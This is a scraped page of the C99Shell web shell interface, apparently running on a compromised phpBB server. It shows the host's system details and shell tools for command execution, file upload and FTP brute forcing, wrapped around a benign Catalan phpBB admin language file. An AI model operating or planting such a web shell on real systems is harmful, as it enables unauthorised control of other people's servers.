!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/language/ca/acp/   drwxrwxr-x
Free 83.28 GB of 96.73 GB (86.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     posting.php (16.94 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* acp_posting [Catalan]
*
* @package language
* @version $Id: posting.php 9375 2009-03-16 16:47:16Z acydburn $
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
* DO NOT CHANGE
*/
if (!defined('IN_PHPBB'))
{
    exit;
}

if (empty(
$lang) || !is_array($lang))
{
    
$lang = array();
}

// DEVELOPERS PLEASE NOTE
//
// All language files should use UTF-8 as their encoding and the files must not contain a BOM.
//
// Placeholders can now contain order information, e.g. instead of
// 'Page %s of %s' you can (and should) write 'Page %1$s of %2$s', this allows
// translators to re-order the output of data while ensuring it remains correct
//
// You do not need this where single placeholders are used, e.g. 'Message %d' is fine
// equally where a string contains only two placeholders which are used to wrap text
// in a url you again do not need to specify an order e.g., 'Click %sHERE%s' is fine

// BBCodes
// Note to translators: you can translate everything but what's between { and }
$lang array_merge($lang, array(
    
'ACP_BBCODES_EXPLAIN'        => 'El BBCode és una implementació especial de l’HTML que ofereix un control més gran sobre què i com es mostra alguna cosa. Des d’aquesta pàgina podeu afegir, eliminar i editar BBCodes personalitzats.',
    
'ADD_BBCODE'                => 'Afegeix un BBCode nou',

    
'BBCODE_ADDED'                => 'Sha afegit el BBCode correctament.',
    
'BBCODE_EDITED'                => 'S’ha editat el BBCode correctament.',
    
'BBCODE_NOT_EXIST'            => 'El BBCode que heu seleccionat no existeix.',
    
'BBCODE_HELPLINE'            => 'Línia d’ajuda',
    
'BBCODE_HELPLINE_EXPLAIN'    => 'Aquest camp conté el text que es mostra en passar el ratolí per damunt del text del BBCode.',
    
'BBCODE_HELPLINE_TEXT'        => 'Text de la línia d’ajuda',
    
'BBCODE_HELPLINE_TOO_LONG'    => 'La línia d’ajuda que heu introduït és massa llarga.',

    
'BBCODE_INVALID_TAG_NAME'    => 'El nom d’etiqueta BBCode que heu seleccionat ja existeix.',
    
'BBCODE_INVALID'            => 'El BBCode està construït de manera no vàlida.',
    
'BBCODE_OPEN_ENDED_TAG'        => 'El BBCode personalitzat ha de tenir tant l’etiqueta d’obertura com la de tancament.',
    
'BBCODE_TAG'                => 'Etiqueta',
    
'BBCODE_TAG_TOO_LONG'        => 'El nom d’etiqueta que heu seleccionat és massa llarg.',
    
'BBCODE_TAG_DEF_TOO_LONG'    => 'La definició de l’etiqueta que heu introduït és massa llarga, escurceu la definició de l’etiqueta.',
    
'BBCODE_USAGE'                => 'Sintaxi BBCode',
    
'BBCODE_USAGE_EXAMPLE'        => '[ressalta={COLOR}]{TEXT}[/ressalta]<br /><br />[lletra={SIMPLETEXT1}]{SIMPLETEXT2}[/lletra]',
    
'BBCODE_USAGE_EXPLAIN'        => 'Aquí definiu com s’utilitza el BBCode. Reemplaceu les variables d’entrada pel testimoni corresponent (%svegeu a sota%s).',

    
'EXAMPLE'                        => 'Exemple:',
    
'EXAMPLES'                        => 'Exemples:',

    
'HTML_REPLACEMENT'                => 'Substitució HTML',
    
'HTML_REPLACEMENT_EXAMPLE'        => '&lt;span style="background-color: {COLOR};"&gt;{TEXT}&lt;/span&gt;<br /><br />&lt;span style="font-family: {SIMPLETEXT1};"&gt;{SIMPLETEXT2}&lt;/span&gt;',
    
'HTML_REPLACEMENT_EXPLAIN'        => 'Aquí definiu la substitució HTML per defecte. No us oblideu de posar els testimonis que heu utilitzat a sobre!',

    
'TOKEN'                    => 'Testimoni',
    
'TOKENS'                => 'Testimonis',
    
'TOKENS_EXPLAIN'        => 'Els testimonis són textos variables per ser introduïts per l’usuari. El text d’entrada serà vàlid només si coincideix amb la definició corresponent. Si cal, podeu numerar-los afegint un número com a darrer caràcter entre les claus, p.ex. {TEXT1}, {TEXT2}.<br /><br />Dintre de la substitució HTML també podeu utilitzar qualsevol cadena d’idioma present al directori language/ així: {L_<em>&lt;STRINGNAME&gt;</em>} on <em>&lt;STRINGNAME&gt;</em> és el nom de la cadena traduïda que voleu afegir. Per exemple, {L_WROTE} es mostrarà com &quot;ha escrit&quot; o la seva traducció depenent de la localització de l’usuari.<br /><br /><strong>Tingueu en compte que als BBCodes personalitzats només es poden utilitzar els testimonis llistats a sota.</strong>',
    
'TOKEN_DEFINITION'        => 'Què pot ser?',
    
'TOO_MANY_BBCODES'        => 'No podeu crear més BBCodes. Elimineu un o més BBCodes i torneu a intentar-ho.',

    
'tokens'    =>    array(
        
'TEXT'            => 'Qualsevol text, incloent-hi caràcters estrangers, números, etc… És recomanable que no utilitzeu aquest testimoni a les etiquetes HTML. En el seu lloc intenteu utilitzar IDENTIFIER o SIMPLETEXT.',
        
'SIMPLETEXT'    => 'Caràcters de l’alfabet llatí (A-Z), números, espais, comes, punts, menys, més, guió i caràcter de subratllat',
        
'IDENTIFIER'    => 'Caràcters de l’alfabet llatí (A-Z), números, guió i caràcter de subratllat',
        
'NUMBER'        => 'Qualsevol sèrie de dígits',
        
'EMAIL'            => 'Una adreça electrònica vàlida',
        
'URL'            => 'Un URL vàlid que utilitzi qualsevol protocol (http, ftp, etc… no es pot utilitzar per aprofitar-se del javascript). Si no se’n proporciona cap, la cadena es prefixa amb &quot;http://&quot;.',
        
'LOCAL_URL'        => 'Un URL local. L’URL ha de ser relatiu a la pàgina del tema i no pot contenir un nom de servidor ni un protocol.',
        
'COLOR'            => 'Un color HTML, pot ser o bé en forma numèrica <samp>#FF1234</samp> o una <a href="http://www.w3.org/TR/CSS21/syndata.html#value-def-color">paraula clau de color CSS</a> com ara <samp>fuchsia</samp> o <samp>InactiveBorder</samp>'
    
)
));

// Smilies and topic icons
$lang array_merge($lang, array(
    
'ACP_ICONS_EXPLAIN'        => 'Des d’aquesta pàgina podeu afegir, eliminar i editar les icones que els usuaris poden afegir als temes o entrades. Aquestes icones normalment es mostren al costat del títol dels temes a la llista dels fòrums, o al costat dels assumptes de les entrades a la llista dels temes. També podeu instal·lar i crear paquets nous d’icones.',
    
'ACP_SMILIES_EXPLAIN'    => 'Les emoticones són imatges típicament petites, de vegades animades, utilitzades per transmetre una emoció o sentiment. Des d’aquesta pàgina podeu afegir, eliminar i editar les emoticones que els usuaris poden utilitzar a les entrades i els missatges privats. També podeu instal·lar i crear paquets nous d’emoticones.',
    
'ADD_SMILIES'            => 'Afegeix múltiples emoticones',
    
'ADD_SMILEY_CODE'        => 'Afegeix un codi d’emoticona nou',
    
'ADD_ICONS'                => 'Afegeix múltiples icones',
    
'AFTER_ICONS'            => 'Després de %s',
    
'AFTER_SMILIES'            => 'Després de %s',

    
'CODE'                        => 'Codi',
    
'CURRENT_ICONS'                => 'Icones actuals',
    
'CURRENT_ICONS_EXPLAIN'        => 'Trieu què fer amb les icones instal·lades actualment.',
    
'CURRENT_SMILIES'            => 'Emoticones actuals',
    
'CURRENT_SMILIES_EXPLAIN'    => 'Trieu què fer amb les emoticones instal·lades actualment.',

    
'DISPLAY_ON_POSTING'        => 'Mostra’l a la pàgina de publicació d’entrades',
    
'DISPLAY_POSTING'            => 'A la pàgina de publicació d’entrades',
    
'DISPLAY_POSTING_NO'        => 'No a la pàgina de publicació d’entrades',



    
'EDIT_ICONS'                => 'Edita les icones',
    
'EDIT_SMILIES'                => 'Edita les emoticones',
    
'EMOTION'                    => 'Emoció',
    
'EXPORT_ICONS'                => 'Exporta i baixa icons.pak',
    
'EXPORT_ICONS_EXPLAIN'        => '%sEn fer clic sobre aquest enllaç, la configuració de les icones instal·lades s’empaquetarà al fitxer <samp>icons.pak</samp> que un cop baixat pot ser utilitzat per crear un fitxer <samp>.zip</samp> o <samp>.tgz</samp> que contingui totes les icones més la configuració d’aquest fitxer <samp>icons.pak</samp>%s.',
    
'EXPORT_SMILIES'            => 'Exporta i baixa smilies.pak',
    
'EXPORT_SMILIES_EXPLAIN'    => '%sEn fer clic sobre aquest enllaç, la configuració de les emoticones instal·lades s’empaquetarà al fitxer <samp>smilies.pak</samp> que un cop baixat pot ser utilitzat per crear un fitxer <samp>.zip</samp> o <samp>.tgz</samp> que contingui totes les emoticones més la configuració d’aquest fitxer <samp>smilies.pak</samp>%s.',

    
'FIRST'            => 'Primer',

    
'ICONS_ADD'                => 'Afegeix una icona nova',
    
'ICONS_NONE_ADDED'        => 'No s’ha afegit cap icona.',
    
'ICONS_ONE_ADDED'        => 'S’ha afegit la icona correctament.',
    
'ICONS_ADDED'            => 'S’han afegit les icones correctament.',
    
'ICONS_CONFIG'            => 'Configuració d’icones',
    
'ICONS_DELETED'            => 'S’ha eliminat la icona correctament.',
    
'ICONS_EDIT'            => 'Edita la icona',
    
'ICONS_ONE_EDITED'        => 'S’ha actualitzat la icona correctament.',
    
'ICONS_NONE_EDITED'        => 'No s’ha actualitzat cap icona.',
    
'ICONS_EDITED'            => 'S’han actualitzat les icones correctament.',
    
'ICONS_HEIGHT'            => 'Alçària de la icona',
    
'ICONS_IMAGE'            => 'Imatge de la icona',
    
'ICONS_IMPORTED'        => 'S’ha instal·lat el paquet d’icones correctament.',
    
'ICONS_IMPORT_SUCCESS'    => 'S’ha importat el paquet d’icones correctament.',
    
'ICONS_LOCATION'        => 'Ubicació de les icones',
    
'ICONS_NOT_DISPLAYED'    => 'Les icones següents no es mostren a la pàgina de publicació d’entrades',
    
'ICONS_ORDER'            => 'Ordre de les icones',
    
'ICONS_URL'                => 'Fitxer d’imatge de la icona',
    
'ICONS_WIDTH'            => 'Amplària de la icona',
    
'IMPORT_ICONS'            => 'Instal·la el paquet d’icones',
    
'IMPORT_SMILIES'        => 'Instal·la el paquet d’emoticones',

    
'KEEP_ALL'            => 'Conserva-les totes',

    
'MASS_ADD_SMILIES'    => 'Afegeix múltiples emoticones',

    
'NO_ICONS_ADD'        => 'No hi ha icones per afegir.',
    
'NO_ICONS_EDIT'        => 'No hi ha icones per editar.',
    
'NO_ICONS_EXPORT'    => 'No teniu cap icona amb la qual crear un paquet.',
    
'NO_ICONS_PAK'        => 'No s’ha trobat cap paquet d’icones.',
    
'NO_SMILIES_ADD'    => 'No hi ha emoticones per afegir.',
    
'NO_SMILIES_EDIT'    => 'No hi ha emoticones per editar.',
    
'NO_SMILIES_EXPORT'    => 'No teniu cap emoticona amb la qual crear un paquet.',
    
'NO_SMILIES_PAK'    => 'No s’ha trobat cap paquet d’emoticones.',

    
'PAK_FILE_NOT_READABLE'        => 'No s’ha pogut llegir el fitxer <samp>.pak</samp>',

    
'REPLACE_MATCHES'    => 'Reemplaça les coincidències',

    
'SELECT_PACKAGE'            => 'Seleccioneu un fitxer de paquet',
    
'SMILIES_ADD'                => 'Afegeix una emoticona nova',
    
'SMILIES_NONE_ADDED'        => 'No s’ha afegit cap emoticona.',
    
'SMILIES_ONE_ADDED'            => 'S’ha afegit l’emoticona correctament.',
    
'SMILIES_ADDED'                => 'S’han afegit les emoticones correctament.',
    
'SMILIES_CODE'                => 'Codi de l’emoticona',
    
'SMILIES_CONFIG'            => 'Configuració d’emoticones',
    
'SMILIES_DELETED'            => 'S’ha eliminat l’emoticona correctament.',
    
'SMILIES_EDIT'                => 'Edita l’emoticona',
    
'SMILIE_NO_CODE'            => 'S’ha ignorat l’emoticona “%s” perquè no heu introduït cap codi.',
    
'SMILIE_NO_EMOTION'            => 'S’ha ignorat l’emoticona “%s” perquè no heu introduït cap emoció.',
    
'SMILIES_NONE_EDITED'        => 'S’ha actualitzat l’emoticona correctament.',
    
'SMILIES_ONE_EDITED'        => 'S’han actualitzat les emoticones correctament.',
    
'SMILIES_EDITED'            => 'S’ha editat l’emoticona correctament.',
    
'SMILIES_EMOTION'            => 'Emoció',
    
'SMILIES_HEIGHT'            => 'Alçària de l’emoticona',
    
'SMILIES_IMAGE'                => 'Imatge de l’emoticona',
    
'SMILIES_IMPORTED'            => 'S’ha instal·lat el paquet d’emoticones correctament.',
    
'SMILIES_IMPORT_SUCCESS'    => 'S’ha importat el paquet d’emoticones correctament.',
    
'SMILIES_LOCATION'            => 'Ubicació de les emoticones',
    
'SMILIES_NOT_DISPLAYED'        => 'Les emoticones següents no es mostren a la pàgina de publicació d’entrades',
    
'SMILIES_ORDER'                => 'Ordre de les emoticones',
    
'SMILIES_URL'                => 'Fitxer d’imatge de l’emoticona',
    
'SMILIES_WIDTH'                => 'Amplària de l’emoticona',

    
'WRONG_PAK_TYPE'    => 'El paquet especificat no conté les dades adequades.',
));

// Word censors
$lang array_merge($lang, array(
    
'ACP_WORDS_EXPLAIN'        => 'Des d’aquest tauler de control podeu afegir, editar i eliminar paraules que seran censurades automàticament als fòrums. Tanmateix es podran registrar noms d’usuari que continguin aquestes paraules. S’accepten els comodins (*) al camp de paraula, p.ex. *text* coincideix amb contextual, text* coincideix amb textual i *text coincideix amb context.',
    
'ADD_WORD'                => 'Afegeix una paraula nova',

    
'EDIT_WORD'        => 'Edita la paraula censurada',
    
'ENTER_WORD'    => 'Cal que introduïu una paraula i el seu substitut.',

    
'NO_WORD'    => 'No heu seleccionat cap paraula per editar-la.',

    
'REPLACEMENT'    => 'Substitut',

    
'UPDATE_WORD'    => 'Actualitza la paraula censurada',

    
'WORD'                => 'Paraula',
    
'WORD_ADDED'        => 'Sha afegit la paraula censurada correctament.',
    
'WORD_REMOVED'        => 'La paraula censurada seleccionada s’ha eliminat correctament.',
    
'WORD_UPDATED'        => 'La paraula censurada seleccionada s’ha actualitzat correctament.',
));

// Ranks
$lang array_merge($lang, array(
    
'ACP_RANKS_EXPLAIN'        => 'En aquest formulari podeu afegir, editar, visualitzar i eliminar rangs. També podeu crear rangs especials que podeu aplicar a un usuari a la secció de gestió d’usuaris.',
    
'ADD_RANK'                => 'Afegeix un rang nou',

    
'MUST_SELECT_RANK'        => 'Cal que seleccioneu un rang.',

    
'NO_ASSIGNED_RANK'        => 'No hi ha cap rang especial assignat.',
    
'NO_RANK_TITLE'            => 'No heu especificat un títol per al rang.',
    
'NO_UPDATE_RANKS'        => 'S’ha eliminat el rang correctament. No obstant, els comptes d’usuari que utilitzaven aquest rang no s’han actualitzat. Caldrà que reinicialitzeu el rang d’aquests comptes manualment.',

    
'RANK_ADDED'            => 'S’ha afegit el rang correctament.',
    
'RANK_IMAGE'            => 'Imatge del rang',
    
'RANK_IMAGE_EXPLAIN'    => 'Aquí podeu definir una petita imatge associada amb el rang. EL camí és relatiu al directori arrel del phpBB.',
    
'RANK_MINIMUM'            => 'Nombre mínim d’entrades',
    
'RANK_REMOVED'            => 'S’ha eliminat el rang correctament.',
    
'RANK_SPECIAL'            => 'És un rang especial',
    
'RANK_TITLE'            => 'Títol del rang',
    
'RANK_UPDATED'            => 'S’ha actualitzat el rang correctament.',
));

// Disallow Usernames
$lang array_merge($lang, array(
    
'ACP_DISALLOW_EXPLAIN'    => 'Aquí podeu controlar els noms d’usuari que no estan permesos. Els noms d’usuari prohibits poden contenir un caràcter comodí *. Tingueu en compte que no podreu especificar un nom d’usuari que ja s’hagi registrat. Cal que primer elimineu aquest nom d’usuari i el prohibiu després.',
    
'ADD_DISALLOW_EXPLAIN'    => 'Podeu prohibir un nom d’usuari utilitzant el caràcter comodí * per obtenir coincidències amb qualsevol caràcter.',
    
'ADD_DISALLOW_TITLE'    => 'Afegeix un nom d’usuari prohibit',

    
'DELETE_DISALLOW_EXPLAIN'    => 'Podeu eliminar un nom d’usuari prohibit seleccionant el nom d’usuari d’aquesta llista i fent clic al botó Tramet.',
    
'DELETE_DISALLOW_TITLE'        => 'Elimina un nom d’usuari prohibit',
    
'DISALLOWED_ALREADY'        => 'El nom que heu introduït no es pot prohibir. O bé ja existeix a la llista o bé existeix a la llista de paraules censurades o bé ja hi ha un usuari amb un nom que hi coincideix.',
    
'DISALLOWED_DELETED'        => 'S’ha eliminat el nom d’usuari prohibit correctament.',
    
'DISALLOW_SUCCESSFUL'        => 'S’ha afegit el nom d’usuari prohibit correctament.',

    
'NO_DISALLOWED'                => 'No hi ha cap nom prohibit',
    
'NO_USERNAME_SPECIFIED'        => 'No heu seleccionat cap nom d’usuari.',
));

// Reasons
$lang array_merge($lang, array(
    
'ACP_REASONS_EXPLAIN'    => 'Aquí podeu gestionar les raons utilitzades als informes i als missatges de denegació quan no s’aprova una entrada. Hi ha una raó per defecte (marcada amb un *) que no podeu eliminar, aquesta raó normalment s’utilitza per a missatges personalitzats si cap altra raó és adient.',
    
'ADD_NEW_REASON'        => 'Afegeix una raó nova',
    
'AVAILABLE_TITLES'        => 'Títols de raons traduïdes disponibles',

    
'IS_NOT_TRANSLATED'            => 'La raó <strong>no</strong> està traduïda.',
    
'IS_NOT_TRANSLATED_EXPLAIN'    => 'La raó <strong>no</strong> està traduïda. Si voleu proporcionar la forma traduïda, indiqueu la clau correcta de la secció de raons d’informe dels fitxers d’idioma.',
    
'IS_TRANSLATED'                => 'La raó està traduïda.',
    
'IS_TRANSLATED_EXPLAIN'        => 'La raó està traduïda. Si el títol que introduïu aquí està especificat a la secció de raons d’informe dels fitxers d’idioma, s’utilitzarà la forma traduïda del títol i la descripció.',

    
'NO_REASON'                    => 'No s’ha pogut trobar la raó.',
    
'NO_REASON_INFO'            => 'Cal que especifiqueu un títol i una descripció  per a aquesta raó.',
    
'NO_REMOVE_DEFAULT_REASON'    => 'No podeu eliminar la raó per defecte “Altres”.',

    
'REASON_ADD'                => 'Afegeix una raó d’informe/denegació',
    
'REASON_ADDED'                => 'S’ha afegit la raó d’informe/denegació correctament.',
    
'REASON_ALREADY_EXIST'        => 'Ja existeix una raó amb aquest títol, introduïu un altre títol per aquesta raó.',
    
'REASON_DESCRIPTION'        => 'Descripció de la raó',
    
'REASON_DESC_TRANSLATED'    => 'Descripció que es mostra de la raó',
    
'REASON_EDIT'                => 'Edita la raó d’informe/denegació',
    
'REASON_EDIT_EXPLAIN'        => 'Aquí podeu afegir o editar una raó. Si la raó està traduïda, s’utilitza la versió localitzada en lloc de la descripció introduïda.',
    
'REASON_REMOVED'            => 'S’ha eliminat la raó d’informe/denegació correctament.',
    
'REASON_TITLE'                => 'Títol de la raó',
    
'REASON_TITLE_TRANSLATED'    => 'Títol que es mostra de la raó',
    
'REASON_UPDATED'            => 'S’ha actualitzat la raó d’informe/denegació correctament.',

    
'USED_IN_REPORTS'        => 'S’utilitza als informes',
));

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0038 ]--